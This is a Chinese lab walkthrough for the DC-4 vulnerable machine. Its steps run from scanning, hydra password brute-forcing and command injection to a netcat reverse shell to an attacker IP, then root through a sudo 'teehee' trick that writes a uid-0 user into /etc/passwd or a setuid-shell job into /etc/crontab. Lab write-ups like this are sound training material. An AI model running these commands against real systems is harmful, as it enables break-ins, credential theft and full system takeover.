【DC系列】DC-4靶机渗透练习

1.主机发现：sudo arp-scan -l，发现靶机ip为192.168.225.143

2.扫描端口，开启了80端口

nmap 192.168.225.143 -sV -sC -Pn -n -v -T5 -p-

3.提示使用admin账户登录，所以仅需要爆破密码：

4.用kali自带的rockyou字典进行hydra爆破，第一次使用需要解压：

gzip -d rockyou.txt.gz

5.hydra命令爆破：（不会写命令可以将字典复制出来，在burp中爆破）

命令详解：https://www.k2zone.cn/?p=1535

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.225.143 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

6.点击run，使用Burp抓包，发现radio=处可以修改执行的命令，可以执行任意命令

7.给kali反弹一个shell：

nc -e /bin/bash 192.168.225.133 1234

8.进入交互模式，便于操作

python -c 'import pty;pty.spawn("/bin/sh")'

9.查看用户：

cat /etc/passwd

10.发现有charles，jim和sam三个用户有/bin/bash，进入他们所在的/home/jim/backups/目录下，看到有一个字典bak文件：

11.jim目录下的backups.bak，copy到本地，新开一个命令端口用hydra爆破ssh的密码：jibril04

hydra -l jim -P pass.txt  -t 6 ssh://192.168.225.143

12.爆破出密码进行远程ssh登录：

ssh jim@192.168.225.143

13.查看mbox的内容，发现是root用户发来的邮件：

14.进入邮件目录/var/mail查看邮件内容，charles说老板让我把密码告诉你：^xHhA&hvim0y

15.切换到charles账号登录：

16.sudo -l查看权限，发现可以不需要密码执行teehee（root权限），teehee可以来向其他文件写入内容

17.利用teehee提权

方法一：添加一个test用户，并使用teehee执行直接写入passwd中（设置uid和gid都为0，那么这个用户就相当于root）

#如：admin:x:0:0::/home/admin:/bin/bash

#[用户名]：[密码]：[UID]：[GID]：[身份描述]：[主目录]：[登录shell]

输入命令后，使用su admin即可免密登录，在root目录下查看flag：

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

方法二：通过定时任务执行脚本提权，向/etc/crontab文件中写入新的定时任务，通过teehee的sudo提升权限以root身份写入crontab计划任务通过执行获取root权限

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

时间部分全部填写为*，默认这个定时任务每分钟执行一次。

通过执行的脚本将/bin/sh的权限修改为4777，这样就可以在非root用户下执行它，并且执行期间拥有root权限。